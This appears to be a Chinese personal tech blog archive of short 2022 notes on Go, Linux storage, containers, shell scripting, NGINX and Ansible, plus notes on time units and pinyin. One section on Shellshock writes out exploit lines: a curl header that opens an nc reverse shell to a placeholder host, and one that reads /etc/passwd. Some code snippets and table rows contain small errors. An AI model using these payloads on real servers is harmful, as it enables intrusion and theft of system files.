2022 on Ricky

Terraform Provider 開發紀錄

Thu, 28 Dec 2023 12:36:00 +0800

Terraform Provider 開發紀錄

在 macOS 中檢視 Web Views

Fri, 02 Dec 2022 13:51:24 +0800

在 macOS 中檢視 Web Views

defaults write NSGlobalDomain WebKitDeveloperExtras -bool true
defaults write -g WebKitDeveloperExtras -bool YES

Go 使用 selenium 截图

Fri, 02 Dec 2022 13:40:19 +0800

Go 使用 selenium 截图

package main

import (
 "fmt"
 log "github.com/sirupsen/logrus"
 "github.com/tebeka/selenium"
 "io/ioutil"
)

const (
 chromeDriverPath = "/usr/local/bin/chromedriver"
 port = 9515
)

func main() {
 var opts []selenium.ServiceOption
 selenium.SetDebug(false)
 service, err := selenium.NewChromeDriverService(chromeDriverPath, port, opts...)
 if err != nil {
 panic(err) // panic is used only as an example and is not otherwise recommended.
 }
 defer service.Stop()

 caps := selenium.Capabilities{"browserName": "chrome"}
 // 整页截屏
 // 获取到网页的宽高，然后把浏览器的窗口设置成这么大，然后再截图就好了！需要注意的是只有 headless 模式可以任意设置窗口大小，否则最大高度不能超过你的显示器分辨率
 // chromeCaps := chrome.Capabilities{
 // Path: "",
 // Args: []string{
 // "--headless",
 // },
 // }
 // caps.AddChrome(chromeCaps)

 wd, err := selenium.NewRemote(caps, fmt.Sprintf("http://localhost:%d/wd/hub", port))
 if err != nil {
 panic(err)
 }
 defer wd.Quit()

 // 在 selenium 中使用ExecuteScript就可以执行 JavaScript 代码，需要注意返回值是 interface，所以要类型断言成 float，然后再转成 int
 // height, _ := wd.ExecuteScript("return document.body.parentNode.scrollHeight", nil)
 // var realHeight = int(height.(float64))
 // 然后我们需要设置窗口大小
 // wd.ResizeWindow("", 1920, realHeight)

 if err := wd.Get("https://github.com/tgbot-collection/archiver"); err != nil {
 panic(err)
 }

 screenshot, err := wd.Screenshot()
 if err != nil {
 log.Errorln(err)

 }
 ioutil.WriteFile("screenshot.png", screenshot, 0644)

}

整页截屏

获取到网页的宽高，然后把浏览器的窗口设置成这么大，然后再截图就好了！需要注意的是只有 headless 模式可以任意设置窗口大小，否则最大高度不能超过你的显示器分辨率

古代計時單位

Tue, 29 Nov 2022 11:21:02 +0800

古代計時單位

十二時辰時間對照表

時辰	古名	對應現代時間	初 / 正時間	別名（完整）
子時	夜半	23:00-01:00	子初 23:00 子正 00:00	子夜、中夜、午夜、夜分、夜半、未旦、宵分、未央
丑時	雞鳴	01:00-03:00	丑初 01:00 丑正 02:00	荒雞
寅時	平旦	03:00-05:00	寅初 03:00 寅正 04:00	平明、旦明、黎明、早旦、日旦、昧旦、騎旦、早晨、早夜、早朝、昧爽、旦日、旦時
卯時	日出	05:00-07:00	卯初 05:00 卯正 06:00	日上、日生、日升、日始、日晞、旭日、破曉
辰時	食時	07:00-09:00	辰初 07:00 辰正 08:00	早食、宴食、蚤食
巳時	隅中	09:00-11:00	巳初 09:00 巳正 10:00	日隅、禺中、日禺
午時	日中	11:00-13:00	午初 11:00 午正 12:00	日正、日午、日高、正午、中午、亭午、日當午、平午、平晝
未時	日昳	13:00-15:00	未初 13:00 未正 14:00	日昃、日仄、日側、日跌、日斜、日映、日央
申時	晡時	15:00-17:00	申初 15:00 申正 16:00	餔時、日餔、日晡、日鋪、日稷、日夕、夕食
酉時	日入	17:00-19:00	酉初 17:00 酉正 18:00	日沒、日沉、日西、日落、日逝、日晏、日旴、日晦、傍晚
戌時	黃昏	19:00-21:00	戌初 19:00 戌正 20:00	日夕、日末、日暮、日晚、日闇、日墮、日暗、日曛、曛黃
亥時	人定	21:00-23:00	亥初 21:00 亥正 22:00	定昏、夤夜

更

漢代皇宮中值班人員分五個班次，按時更換，叫「五更」，由此古人把便把一夜分為五更，每更為一個時辰。戌時為一更，亥時為二更，子時為三更，丑時為四更，寅時為五更

在 Linux 中偵測 RAID 資訊

Mon, 28 Nov 2022 15:36:27 +0800

在 Linux 中偵測 RAID 資訊

lspci

lspci | grep RAID
00:1f.2 RAID bus controller: Intel Corporation 82801 Mobile SATA Controller [RAID mode] (rev 04)

lshw

lshw -class storage
 *-raid
 description: RAID bus controller
 product: 82801 Mobile SATA Controller [RAID mode]
 vendor: Intel Corporation
 physical id: 1f.2
 bus info: pci@0000:00:1f.2
 logical name: scsi0
 version: 04
 width: 32 bits
 clock: 66MHz
 capabilities: raid msi pm bus_master cap_list emulated
 configuration: driver=ahci latency=0
 resources: irq:26 ioport:f0d0(size=8) ioport:f0c0(size=4) ioport:f0b0(size=8) ioport:f0a0(size=4) ioport:f060(size=32) memory:f7e36000-f7e367ff

smartctl

dmesg | grep -i scsi
[ 0.210852] SCSI subsystem initialized
[ 0.341280] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 243)
...
[ 1.213299] scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: 0 ANSI: 5
[ 1.319886] sd 0:0:0:0: [sda] Attached SCSI disk
[ 19.571008] sd 0:0:0:0: Attached scsi generic sg0 type 0

smartctl --all /dev/sda
Model Family: Seagate Laptop HDD
Device Model: ST320LT012-9WS14C
Serial Number: S0V3R9LL
LU WWN Device Id: 5 000c50 05be4653c
Firmware Version: 0001YAM1
User Capacity: 320,072,933,376 bytes [320 GB]
Sector Sizes: 512 bytes logical, 4096 bytes physical
Rotation Rate: 5400 rpm
Form Factor: 2.5 inches
Device is: In smartctl database 7.3/5319
ATA Version is: ATA8-ACS T13/1699-D revision 4
SATA Version is: SATA 2.6, 3.0 Gb/s (current: 3.0 Gb/s)
Local Time is: Sat Nov 19 20:52:01 2022 PKT
SMART support is: Available - device has SMART capability.
SMART support is: Enabled
...

MegaCLI

megacli -LDInfo -Lall -aALL
Adapter 0 -- Virtual Drive Information:
Virtual Drive: 0 (Target Id: 0)
Name : SEAGATE
RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0
Size : 320 GB
Sector Size : 512
Mirror Data : 320 GB
State : Optimal
...

lsscsi

lsscsi
[0:0:0:0] disk ATA ST320LT012-9WS14 YAM1 /dev/sda

廠商專用工具

omreport storage vdisk
List of Virtual Disks in the System

Controller SEAGATE Laptop HDD
ID : 0
Status : Ok
Name : SEAGATE
State : Ready
Hot Spare Policy violated : Not Assigned
Encrypted : No
Layout : RAID-0
Size : 320.00 GB (343597383680 bytes)
T10 Protection Information Status : No
Associated Fluid Cache State : Not Applicable
Device Name : /dev/sda
Bus Protocol : ATA
Media : HDD
Read Policy : Adaptive Read Ahead
Write Policy : Write Back
Cache Policy : Not Applicable
Stripe Element Size : 128 KB
Disk Cache Policy : Enabled

測試伺服器是否易受 Shellshock 漏洞影響

Mon, 28 Nov 2022 15:35:30 +0800

測試伺服器是否易受 Shellshock 漏洞影響

Shellshock 漏洞

env x=' () {:;};'

利用 Shellshock 漏洞

當功能忽略使用者指定的指令，改執行 ForceCommand 的內容時，置換指令就會被執行。
使用者的原始指令會被放在 “SSH_ORIGINAL_COMMAND” 環境變數中。若使用者預設 shell 是 Bash，Bash 在啟動時會解析 “SSH_ORIGINAL_COMMAND” 的值並執行其中的指令。

Shellshock 利用指令範例

## 1
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi

## 2
curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd"

使用 nmap 腳本測試漏洞

nmap -sV -p- --script http-shellshock 192.168.x.x
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

從零開始的容器

Thu, 24 Nov 2022 13:10:14 +0800

從零開始的容器

容器檔案系統

$ wget https://github.com/ericchiang/containers-from-scratch/releases/download/v0.1.0/rootfs.tar.gz
$ sha256sum rootfs.tar.gz
c79bfb46b9cf842055761a49161831aee8f4e667ad9e84ab57ab324a49bc828c rootfs.tar.gz
$ # tar needs sudo to create /dev files and setup file ownership
$ sudo tar -zxf rootfs.tar.gz
$ ls rootfs
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
$ ls -al rootfs/bin/ls
-rwxr-xr-x. 1 root root 118280 Mar 14 2015 rootfs/bin/ls

chroot

它可以限制某個程序對檔案系統的視野。這裡我們把程序限制在 “rootfs” 目錄，然後執行一個 shell。

$ sudo chroot rootfs /bin/bash
root@localhost:/# ls /
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
root@localhost:/# which python
/usr/bin/python
root@localhost:/# /usr/bin/python -c 'print "Hello, container world!"'
Hello, container world!
root@localhost:/#

當我們執行 Python 直譯器時，實際上是執行 rootfs/usr/bin/python，而不是宿主機的 Python。

如何刪除檔名含有不可列印字元的檔案

Mon, 14 Nov 2022 13:55:17 +0800

如何刪除檔名含有不可列印字元的檔案

ls -l
total 13
-rw-r--r-- 1 ZZ 197121 4 Nov 6 07:08 ' '
-rw-r--r-- 1 ZZ 197121 162 Apr 16 2022 '~$iscord.docx'
-rw-r--r-- 1 ZZ 197121 6 Nov 6 06:03 ''$'\302\226'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:01 ''$'\302\226''Λ---ω'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:13 '␴?␴??␴??::␴?␴'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:12 ␴__␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:16 ␣␣␣␣␣␣␣␣
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:26 ␣ μ μ Ω Ω
-rw-r--r-- 1 ZZ 197121 14 Nov 6 06:23 '␣ μ ␴'$'\342\220\264''Ξ'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

使用 ANSI-C Quoting

# Using ANSI-C Quoting
rm ''$'\302\226'
# We can also use the $ special character before enclosing the filename in single quotes
rm $'\356\200\215'

# pass an item's name to rm without using the ANSI-C quoting
rm '\026\033'
rm: cannot remove '\026\033': No such file or directory

使用 Inode 編號

ls -li
total 11
...
6517085 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
7826050 -rw-r--r-- 1 ZZ 197121 3 Nov 9 04:23 ''$'\356\200\215\356\200\215\356\200\215'
4685554 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

可以透過 find 的 -inum 參數指定 inode 來刪除檔案。

/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊

Mon, 14 Nov 2022 12:55:39 +0800

/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊

chage 與密碼期限

chage --list root
Last password change : Oct 01, 2022
Password expires : never
Password inactive : never
Account expires : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7

因此，我們可以用對應的旗標修改各欄位：

-d 或 --lastday：最後變更日期
-m 或 --mindays：變更密碼最少間隔天數
-M 或 --maxdays：密碼最大有效天數
-W 或 --warndays：到期前警告天數
-I 或 --inactive：密碼失效天數
-E 或 --expiredate：帳號過期日期

chpasswd 與密碼

echo 'user1:PASSWORD' | chpasswd --crypt-method SHA512

如何在別名指令上使用 which

Thu, 10 Nov 2022 16:24:30 +0800

如何在別名指令上使用 which

type

type grep
grep is an alias for grep --color=auto


# Bash's type
type -P grep
/usr/bin/grep

# Zsh's type
type -p grep
grep is /usr/bin/grep

GNU which

which -a which
which: shell built-in command
/usr/bin/which


alias top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'

alias | /usr/bin/which -i top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'
 /usr/bin/uniq
 /usr/bin/sort
 /usr/bin/head

將指令輸出轉為圖片

Thu, 10 Nov 2022 16:13:04 +0800

將指令輸出轉為圖片

---
- name: Capture command output and convert to image
 hosts: all

 tasks:
 - name: Display content of /etc/redhat-release
 shell: cat /etc/redhat-release
 register: redhat_release_result

 - name: hostname
 shell: hostname
 register: hostname_result

 # 可以使用 ImageMagick 來轉換文字為圖片
 - name: Convert command output as image
 shell: echo -e "{{ hostname_result.stdout }}\n{{ redhat_release_result.stdout }}" | convert label:@- {{ hostname_result.stdout }}.png
 delegate_to: localhost

善用 Go Fuzzing，幫助你寫出更完整的單元測試

Thu, 03 Nov 2022 16:57:29 +0800

善用 Go Fuzzing，幫助你寫出更完整的單元測試

func Pow(base uint, exponent uint) uint {
 if exponent == 0 {
 return 1
 }

 return base * Pow(base, exponent-1)
}

func FuzzPow(f *testing.F) {
 f.Fuzz(func(t *testing.T, x, y uint) {
 assert := assert.New(t)

 assert.Equal(Pow(x, 0), uint(1))
 assert.Equal(Pow(x, 1), x)
 assert.Equal(Pow(x, 2), x*x)

 if x > 0 && y > 0 {
 assert.Equal(Pow(x, y)/x, Pow(x, y-1))
 }
 })
}

go test -fuzz=Fuzz -fuzztime 20s

在做 Fuzzing Test 的時候如果跑一跑 FAIL 了，Go 會幫忙把那組 input 記在 testcase/ 裡面
看了之後會發現在 x=6、y=30 時 assert 會失敗，也就是說 pow(6, 30)/6 不會等於 pow(6, 29)。但這也太奇怪了吧？仔細實驗之後才發現是因為在計算 pow(6, 30) 的時候會發生 overflow。
因為 Go 定義的 max.MaxUint 大約是 18 * 10¹⁸，但 6²⁹ 大概是 7 * 10¹⁸。如果把 6²⁹ 再乘上 6，就會發生 overflow 得到 8 * 10¹⁸，很像繞了操場兩圈結果在跟原本差不多的位置。

var ErrOverflow = fmt.Errorf("overflow")

func Pow(base uint, exponent uint) (uint, error) {
 if exponent == 0 {
 return 1
 }

 prevResult, err := Pow(base, exponent-1)
 if math.MaxUint/base < prevResult {
 return 0, ErrOverflow
 }

 return base * prevResult, nil
}

func FuzzPow(f *testing.F) {
 f.Fuzz(func(t *testing.T, x, y uint) {
 assert := assert.New(t)
 if result, err := Pow(x, 1); err != ErrOverflow {
 assert.Equal(result, x)
 }

 if result, err := Pow(x, y); x > 0 && y > 0 && err != ErrOverflow {
 resultDivX, _ := Pow(x, y-1)
 assert.Equal(result/x, resultDivX)
 }
 })
}

Shell Script 最佳實務

Thu, 03 Nov 2022 16:51:11 +0800

Shell Script 最佳實務

重點

第一行就用 #!/usr/bin/env bash。
檔案使用 .sh（或 .bash）副檔名。
在腳本開頭使用 set -o errexit。
也建議使用 set -o nounset。
1. 用 "${VARNAME-}" 取代 "$VARNAME"
使用 set -o pipefail。
使用 set -o xtrace，並檢查 $TRACE 環境變數。
1. if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace; fi
2. 使用者可以透過 TRACE=1 ./script.sh 啟用除錯模式，而不是 ./script.sh。
if / while 條件使用 [[ ]]，而不是 [ ] 或 test。
變數存取一律用雙引號包住。
在函式中使用 local 變數。
輸出錯誤訊息時請導向 stderr。
1. 例如 echo 'Something unexpected happened' >&2。
能用長選項就用長選項（例如 --silent 取代 -s）。
適合的話，腳本開頭就切換到腳本所在目錄。
1. 可用 cd "$(dirname "$0")"，多數情況可用。
使用 shellcheck 並留意其警告。

範本

#!/usr/bin/env bash

set -o errexit
set -o nounset
set -o pipefail
if [[ "${TRACE-0}" == "1" ]]; then
 set -o xtrace
fi

if [[ "${1-}" =~ ^-*h(elp)?$ ]]; then
 echo 'Usage: ./script.sh arg-one arg-two

This is an awesome bash script to make your life better.

'
 exit
fi

cd "$(dirname "$0")"

main() {
 echo do awesome stuff
}

main "$@"

命令列的藝術

Wed, 02 Nov 2022 15:04:37 +0800

命令列的藝術

一張圖學會【拼音輸入法】

Tue, 25 Oct 2022 11:57:51 +0800

一張圖學會【拼音輸入法】

聲母（Initials）

聲母	拼音	例字
ㄅ	b	爸 ba、別 bie、奔 ben
ㄆ	p	撇 pie、平 ping、鵬 peng
ㄇ	m	媽 ma、莫 mo、某 mou
ㄈ	f	發 fa、飯 fan、風 feng
ㄉ	d	的 d、但 dan、段 duan
ㄊ	t	他 ta、貼 tie、團 tuan
ㄋ	n	你 ni、農 nong、暖 nuan
ㄌ	l	李 li、亂 luan、亮 liang
ㄍ	g	跟 gen、怪 guai、灌 guan
ㄎ	k	快 kuai、考 kao、狂 kuang
ㄏ	h	哈 ha、漢 han、橫 heng
ㄐ	j	叫 jiao、雞 ji、京 jing
ㄑ	q	七 qi、琴 qin、巧 qiao
ㄒ	x	西 xi、寫 xie、小 xiao
ㄓ	zh	知 zhi、戰 zhan、正 zheng
ㄔ	ch	吃 chi、船 chuan、重 chong
ㄕ	sh	是 shi、山 shan、刷 shuan
ㄖ	r	日 ri、讓 rang、人 ren
ㄗ	z	字 zi、讚 zan、昨 zuo
ㄘ	c	次 ci、菜 cai、餐 can
ㄙ	s	三 san、四 si、算 suan

介音 / 特殊聲母

類型	拼音	例字
y	yi / i	以 yi、依 yi、修 xiu
w	wu / u	無 wu、溫 wen、船 chuan
v	yu / ü	律 lü、雨 yu、院 yuan

單韻母（Finals）

韻母	拼音	例字
ㄚ	a	沙 sha、撒 sa、奧 ao
ㄛ	o	哦 o、偶 ou、歐 ou
ㄜ	e	餓 e、樂 le、設 she
ㄝ	ê / ye	也 ye、學 xue、切 qie
ㄞ	ai	愛 ai、篩 shai、崖 yai
ㄟ	ei	雷 lei、最 zui、脆 cui
ㄠ	ao	凹 ao、老 lao、笑 xiao
ㄡ	ou	歐 ou、樓 lou、手 shou
ㄢ	an	安 an、蘭 lan、算 suan
ㄣ	en	恩 en、林 lin、冷 leng
ㄤ	ang	昂 ang、浪 lang、讓 rang
ㄥ	eng	成 cheng、冷 leng、令 ling
ㄦ	er	二 er、兒 er、而 er

複韻母 / 組合韻

拼音	例字
ye	也 ye、結 jie、血 xie
iu	六 liu、有 you、謬 miu
in	音 yin、新 xin、林 lin
ing	英 ying、靈 ling、醒 xing
uan	元 yuan、卷 juan、團 tuan
ue	略 lue、學 xue
yun	雲 yun、巡 xun、群 qun
ong	用 yong、兇 xiong、同 tong
ui	鬼 gui、為 wei、虧 kui
un	文 wen、混 hun、準 zhun
ua	華 hua、抓 zhua、蛙 wa
uai	壞 huai、快 kuai、踹 chuai

在 Shell 中輸出 ASCII 藝術字

Fri, 21 Oct 2022 17:30:41 +0800

在 Shell 中輸出 ASCII 藝術字

sudo apt install sysvbanner

$ banner hello

 # # ###### # # ####
 # # # # # # #
 ###### ##### # # # #
 # # # # # # #
 # # # # # # #
 # # ###### ###### ###### ####

FIGlet: Frank, Ian, and Glenn’s Letters

sudo apt install figlet

$ figlet hello
 _ _ _
| |__ ___| | | ___
| '_ \ / _ \ | |/ _ \
| | | | __/ | | (_) |
|_| |_|\___|_|_|\___/

-f 選項可指定輸出的字型
-l、-c、-r 可將文字對齊到左、中、右

TOIlet: FIGlet With More Options

sudo apt install toilet

如何讓終端輸出覆蓋同一行

Fri, 21 Oct 2022 17:29:10 +0800

如何讓終端輸出覆蓋同一行

問題簡介

$ cat print_status.sh
!/bin/bash
echo "[INFO] Processing file: readme.txt"
sleep 2 To simulate the file processing

echo "[INFO] Processing file: veryPowerfulService.service"
sleep 2

echo "[INFO] Processing file: log.txt"
echo "DONE"


$ ./print_status.sh
[INFO] Processing file: readme.txt
[INFO] Processing file: veryPowerfulService.service
[INFO] Processing file: log.txt
DONE

「魔法碼」: `\033[0K\r`

-n 讓 echo 不輸出結尾的換行字元
-e 讓 echo 解讀反斜線逸出字元，例如 \n（換行）與 \r（回車）
\033 - 逸出序列，也就是 ESC
\033[ - 變成 “ESC ["，也就是控制序列引導字元（CSI）
\033[0k - 即 “CSI 0 K”，會清除從游標到行尾的文字
\r - 回車，將游標移回行首

$ cat print_status.sh
#!/bin/bash
echo -ne "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

echo -ne "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

echo -e "[INFO] Processing file: log.txt\033[0K\r"
echo "DONE"

!/bin/bash
printf "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

printf "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

printf "[INFO] Processing file: log.txt\033[0K\r\n"
echo "DONE"

ElasticSearch 学习笔记

Thu, 06 Oct 2022 11:30:59 +0800

ElasticSearch 学习笔记

安装中文分词插件

docker exec -it elasticsearch bash
$ elasticsearch-plugin install https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v8.4.1/elasticsearch-analysis-ik-8.4.1.zip

Dev Tools
- content 类型为 text，写入时使用 ik_max_word 做分词，搜索时使用 ik_smart 分词。这两个的区别在于，前者产生尽可能多的分词，后者产生粗粒度的分词。

PUT /words
{
 "mappings": {
 "properties": {
 "content": {
 "type": "text",
 "analyzer": "ik_max_word",
 "search_analyzer": "ik_smart"
 },
 "age": {
 "type": "integer",
 "index": false
 }
 }
 }
}

{
 "acknowledged": true,
 "shards_acknowledged": true,
 "index": "words"
}

《宝可梦：阿尔宙斯》双周目通关

Mon, 19 Sep 2022 11:30:08 +0800

《宝可梦：阿尔宙斯》双周目通关

Avoiding the Top 10 NGINX Configuration Mistakes - NGINX

Fri, 16 Sep 2022 15:22:23 +0800

Avoiding the Top 10 NGINX Configuration Mistakes - NGINX

1) 每個 worker 的檔案描述元（FD）不夠

問題點

worker_connections 只限制 單一 worker 可同時開啟的連線數（預設 512）。
但每個連線/檔案/暫存檔/日誌都會消耗 檔案描述元（FD），而 OS 預設每個 process 常見是 1024。
常見錯誤：只調大 worker_connections，卻沒有同步提高 FD 限制，導致 worker 提早耗盡 FD。

修正方式

在 main context 設定 worker_rlimit_nofile，至少為 worker_connections 的 2 倍（經驗值）。
同時確認系統總 FD 上限 fs.file-max 足夠： worker_rlimit_nofile * worker_processes 要明顯小於 fs.file-max。

# main context
worker_connections 1024; # 在 events {} 內
worker_rlimit_nofile 2048; # 在 main context

補充

NGINX 當 proxy 時：client 連線 1 FD + upstream 連線 1 FD，可能還需要暫存檔 1 FD。
若被 DoS 打滿 FD，甚至可能無法登入機器處置，因此要預留系統餘裕。

2) `error_log off` 其實沒有關閉 error log

問題點

error_log 不支援 off 參數。
寫成 error_log off; 會讓 NGINX 產生一個名為 off 的檔案（通常在 /etc/nginx/）。

修正方式（不建議真的關閉）

若真的必須停寫 error log（例如磁碟極度有限），改導到 /dev/null 並限制等級：

# main context
error_log /dev/null emerg;

補充

這條生效前，NGINX 啟動/ reload 驗證設定的過程仍可能先寫到預設路徑（常見 /var/log/nginx/error.log）。
可用啟動參數 nginx -e <error_log_location> 指定啟動階段的 error log 位置。

3) 沒有對 upstream 啟用 keepalive（導致連線/來源埠耗盡）

問題點

預設：NGINX 對 upstream 每個 request 都新建連線，連線建立/關閉都有成本。
高流量時會放大 OS 資源消耗；且連線關閉後會進入 TIME-WAIT，可能導致 來源埠（ephemeral ports）耗盡，進而無法建立新連線。

修正方式

(A) 在每個 upstream {} 內加 keepalive

Go 字串格式化

Thu, 08 Sep 2022 11:32:00 +0800

結尾的動詞（verb）決定對應參數的型別與解讀方式。

d - 十進位整數
o - 八進位整數
O - 帶有 0o 前綴的八進位整數
b - 二進位整數
x - 十六進位整數（小寫）
X - 十六進位整數（大寫）
f - 十進位浮點數（小寫）
F - 十進位浮點數（大寫）
e - 科學記號（尾數/指數，小寫）
E - 科學記號（尾數/指數，大寫）
g - %e 或 %f 的最短表示
G - %E 或 %F 的最短表示
c - 以 Unicode 碼點表示的字元
q - 帶引號的字元
U - Unicode 逸出序列
t - true 或 false 字串
s - 字串
v - 預設格式
#v - 值的 Go 語法表示
T - 值型別的 Go 語法表示
p - 指標位址
% - 雙 %% 會輸出單一 %

Go 字串格式化索引

package main

import (
 "fmt"
)

func main() {

 n1 := 2
 n2 := 3
 n3 := 4

 res := fmt.Sprintf("There are %d oranges %d apples %d plums", n1, n2, n3)
 fmt.Println(res) // There are 2 oranges 3 apples 4 plums

 res2 := fmt.Sprintf("There are %[2]d oranges %d apples %[1]d plums", n1, n2, n3)
 fmt.Println(res2) // There are 3 oranges 4 apples 2 plums
}

Go 字串格式化精度

package main

import (
 "fmt"
)

func main() {

 fmt.Printf("%0.f\n", 16.540) // 17
 fmt.Printf("%0.2f\n", 16.540) // 16.54
 fmt.Printf("%0.3f\n", 16.540) // 16.540
 fmt.Printf("%0.5f\n", 16.540) // 16.54000
}

Go 字串格式化旗標

package main

import (
 "fmt"
)

func main() {

 fmt.Printf("%+d\n", 1691) // +1691

 fmt.Printf("%#x\n", 1691) // 0x69b
 fmt.Printf("%#X\n", 1691) // 0X69B
 fmt.Printf("%#b\n", 1691) // 0b11010011011

 fmt.Printf("%10d\n", 1691) // 1691
 fmt.Printf("%-10d\n", 1691) // 1691
 fmt.Printf("%010d\n", 1691) // 0000001691
}

Go 字串格式化寬度

package main

import (
 "fmt"
)

func main() {

 w := "falcon"
 n := 122
 h := 455.67

 fmt.Printf("%s\n", w) // falcon
 fmt.Printf("%10s\n", w) // falcon

 fmt.Printf("%d\n", n). // 122
 fmt.Printf("%7d\n", n) // 122
 fmt.Printf("%07d\n", n) // 0000122

 fmt.Printf("%10f\n", h) // 455.670000
 fmt.Printf("%11f\n", h) // 455.670000
 fmt.Printf("%12f\n", h) // 455.670000
}

LVM - lvg 與 lvol

Mon, 05 Sep 2022 15:32:05 +0800

LVM - lvg 與 lvol

卷群組

- name: 在 /dev/sda1 跟 /dev/sdb1 之上建立 volume group，其 extend size 設置為 32MB
 community.general.lvg:
 vg: vg.services
 pvs: /dev/sda1,/dev/sdb1
 pesize: 32

本地卷

- name: 建立一個大小為 512m 的 local volume
 community.general.lvol:
 vg: firefly
 lv: test
 size: 512

範例

---
- name: Create LVM for DRBD
 hosts: all
 become: yes

 vars:
 vg_name: drbdpool

 tasks:
 - name: Create a new primary partition for LVM
 community.general.parted:
 device: /dev/sdb
 number: 1
 align: optimal
 flags: [lvm]
 state: present

 - name: Create a volume group on top of /dev/sda1 with physical extent size = 32MB
 community.general.lvg:
 vg: "{{ vg_name }}"
 pvs: /dev/sdb1
 state: present

 - name: Create a logical volume
 community.general.lvol:
 vg: "{{ vg_name }}"
 lv: drbddata
 size: 100%FREE

YAML 裡的字串很長該怎麼做？

Mon, 29 Aug 2022 15:01:40 +0800

YAML 裡的字串很長該怎麼做？

在 YAML 裡已經有規範此部份，在這種情況有四種方法可以幫助我們：

|: 其下內容的換行，就是換行，最後一行會有換行。
>: 其下內容的換行，不會是換行，會變為一個很長的字串，最後會有換行。
|-: 其下內容的換行，就是換行，但最後一行不會有換行。
>-: 其下內容的換常，不會是換行，最後一行也不會有換行。

簡單的說，> 跟 >- 可以增加 YAML 的可讀性，又不會有多餘的換行符號。而 | 跟 |- 則可以讓字串跟定義的一致，在 YAML 裡看到換行，那字串裡就會有換行符號。

---
- name: Test long string
 hosts: all

 vars:
 s1: "hello"
 s2: |
 s2
 this is my very very very
 long string
 line1
 line2
 line3
 s3: >
 s3
 this is my very very very
 long string
 line1
 line2
 line3
 s4: |-
 s4
 this is my very very very
 long string
 line1
 line2
 line3
 s5: >-
 s5
 this is my very very very
 long string
 line1
 line2
 line3

 tasks:
 - name: s1
 copy:
 content: "{{ s1 }}"
 dest: "/tmp/s1.txt"
 # hello%

 - name: s2
 copy:
 content: "{{ s2 }}"
 dest: "/tmp/s2.txt"
 # s2
 # this is my very very very
 # long string
 # line1
 # line2
 # line3

 - name: s3
 copy:
 content: "{{ s3 }}"
 dest: "/tmp/s3.txt"
 # s3 this is my very very very long string line1 line2 line3

 - name: s4
 copy:
 content: "{{ s4 }}"
 dest: "/tmp/s4.txt"
 # s4
 # this is my very very very
 # long string
 # line1
 # line2
 # line3%

 - name: s5
 copy:
 content: "{{ s5 }}"
 dest: "/tmp/s5.txt"
 # s5 this is my very very very long string line1 line2 line3%

實戰經驗整理的 25 個 Nginx 技巧

Wed, 10 Aug 2022 12:27:28 +0800

實戰經驗整理的 25 個 Nginx 技巧
server_tokens off;
ssl_protocols TLSv1.2 TLSv1.3;
停用不需要的 HTTP 方法

 location / {
 limit_except GET HEAD POST { deny all; }
 }

啟用基於 sysctl 的保護

net.ipv4.conf.all.rp_filter = 1
net.ipv4.tcp_syncookies = 1

防止圖片外連

location /images/ {
 valid_referers none blocked www.domain.com domain.com;
 if ($invalid_referer) {
 return 403;
 }
}

add_header X-Content-Type-Options nosniff;
add_header X-XSS-Protection "1; mode=block";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

為你的Go應用建立輕量級Docker映象？ | IT人

Mon, 25 Jul 2022 17:33:47 +0800

為你的 Go 應用建立輕量級 Docker 映象？ | IT 人

go build

# default
$ go build -o test1 main.go
$ du -sh test1
14M test1


# 在程式編譯的時候可以加上 `-ldflags "-s -w"` 引數來優化編譯，原理是通過去除部分連結和除錯等資訊來減小編譯生成的可執行程式體積，具體引數如下：
# -a：強制編譯所有依賴包
# -s：去掉符號表資訊，不過 panic 的時候 stack trace 就沒有任何檔名/行號資訊了
# -w：去掉 DWARF 除錯資訊，不過得到的程式就不能使用 gdb 進行除錯了
# 若對符號表無需求，-ldflags 直接新增 "-s" 即可
# 注：不建議-w和-s同時使用
$ go build -ldflags "-s -w" -o test2 main.go
$ du -sh test2
11M test2

upx(`brew/yum install upx`)

$ upx test2
 Ultimate Packer for eXecutables
 Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
 File size Ratio Format Name
 -------------------- ------ ----------- -----------
 11490768 -> 4063248 35.36% macho/amd64 test2
Packed 1 file.

$ upx --brute test2
$ du -sh test2
4.6M test2

upx 的壓縮選項

[Golang] 利用build tags達到不同的build config

